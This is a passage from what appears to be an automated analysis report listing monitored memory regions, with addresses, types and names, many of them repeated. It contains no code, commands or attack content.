"private_0x0000000010c50000" filename = "" Region: id = 8015 start_va = 0x10cd0000 end_va = 0x10d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010cd0000" filename = "" Region: id = 8016 start_va = 0x10d50000 end_va = 0x10dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010d50000" filename = "" Region: id = 8017 start_va = 0x2900000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 8018 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8019 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8020 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8021 start_va = 0x2900000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 8022 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8023 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8024 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8025 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8026 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8027 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8028 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8029 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8030 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8031 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8032 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8033 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8034 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8035 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8036 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8037 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8038 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8039 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8040 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8041 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8042 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8043 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8044 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8045 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8046 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8047 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8048 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8049 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8050 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8051 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8052 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8053 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8054 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8055 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8056 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8057 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8058 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8059 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8060 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8061 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8062 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8063 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8064 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8065 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8066 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8067 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8075 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8076 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8077 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8078 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8079 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8080 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8081 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8082 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8083 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8084 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8085 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8089 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8090 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8091 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8092 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8093 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8095 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8096 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8097 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8098 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8102 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8103 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8104 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8105 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8106 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8107 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8108 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8109 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8115 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8116 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8117 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8118 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8119 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8120 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8121 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8122 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8128 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8129 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8130 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8131 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8132 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8133 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8134 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8135 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8136 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8137 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8138 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8139 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8140 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8141 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8142 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8143 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8144 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8145 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8146 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8147 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8148 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8149 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8150 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8151 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8152 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8153 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8154 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8155 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8156 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8157 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8158 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8159 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8160 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8161 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8162 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8163 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8164 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8165 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8166 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8167 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8168 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8169 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8170 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8171 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8172 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8173 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8174 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8175 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8176 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8177 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8178 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8179 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8180 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8181 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8182 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8183 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8184 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8185 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8186 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8187 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8188 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8189 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8190 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8191 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8192 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8193 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8194 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8195 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8196 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8197 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8198 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8199 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8200 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8201 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8202 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8203 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8204 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8205 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8206 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8207 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8208 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8209 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8210 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8211 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8212 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8213 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8214 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8215 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8216 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8217 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8218 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8219 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8220 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8221 start_va = 0x115d0000 end_va = 0x11ac2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115d0000" filename = "" Region: id = 8222 start_va = 0x11ad0000 end_va = 0x11fc1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ad0000" filename = "" Region: id = 8223 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8224 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8225 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8226 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8227 start_va = 0x470000 end_va = 0x471fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 8228 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8229 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8230 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8231 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8232 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8233 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8234 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8236 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8237 